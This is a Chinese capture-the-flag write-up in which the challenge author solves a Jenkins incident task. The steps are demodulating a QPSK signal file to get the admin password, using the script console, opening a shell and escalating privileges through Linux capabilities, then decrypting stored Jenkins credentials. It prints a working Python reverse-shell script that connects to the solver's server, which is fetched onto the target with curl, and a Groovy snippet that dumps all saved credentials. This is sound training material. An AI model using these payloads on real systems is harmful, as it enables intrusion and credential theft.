AI时代,出题真的好难。。。最后一次出题了

除非为生活所迫

题目描述

1
2
3
4
某高度机密的研究机构检测到其内网门户(Jenkins 节点)被攻陷了,尚不清楚是否有内网其他设备也受到攻击。但由于安全协议触发,系统管理员在紧急撤离前利用实验性通信设备,将一份含有关键访问凭据的原始信号流导出到了passwd.txt中。作为针对本次事件特聘的安全专家,请你对该节点进行应急分析,夺回被加密保护的内部资产。
tips:本题共设有3个flag

环境:x.x.x.x:39231

除了题目描述外给了个save.grc和passwd1.txt,另外还有个环境。环境是个jenkins,需要后台登陆密码。查一下不难知道grc是gnuradio的文件,结合passwd1.txt的文件名可以菜刀这里是要以passwd1的内容作为输入进行解调得到jenkins后台的密码。

看下save.grc

img

从constellation rect object那边可以看到这里是qpsk调制,去找下gnuradio的官方文档

https://wiki.gnuradio.org/index.php?title=QPSK_Mod_and_Demod

找到下图调制解调流程

img

稍微改改就行,如下

img

对输出0x00转换为0,0x01转换为1,from bin得到密码

img

admin/$v8&K#2pL!9mZ*Q5登录进后台

熟悉的话直奔脚本命令行就行

img

在jenkins的web根目录/var/jenkins_home底下找到第一个flag

img

弹个shell,方便执行后续操作。这里还不能直接弹shell,可以利用python脚本弹

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("x.x.x.x",23333));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);

把这个脚本放自己服务器上,在靶机上用curl下载下来

img

img

然后运行、监听

img

img

看下当前用户,发现是个低权限用户jenkins,因此考虑提权

img

这里是capabilities提权,可以发现/usr/bin/python3.13可以利用,因此可以直接搞个shell,然后拿到root下的flag

img

看下进程,可以起容器的时候看到有运行一个heartbeat.sh脚本

img

查看内容,可以看到这个脚本的作用是向一台内网机器持续发送心跳包

img

回到jenkins,在凭据中可以看到提示

img

img

凭证信息需要解密,直接在脚本命令行里用脚本解密即可

1
2
3
4
5
6
com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{
it.properties.each { prop, val ->
println(prop + ' = "' + val + '"')
}
println("-----------------------")
}

img

以此为内容向内网机器发送即可,可以直接借鉴heartbeat.sh,直接就返回了第三个flag

img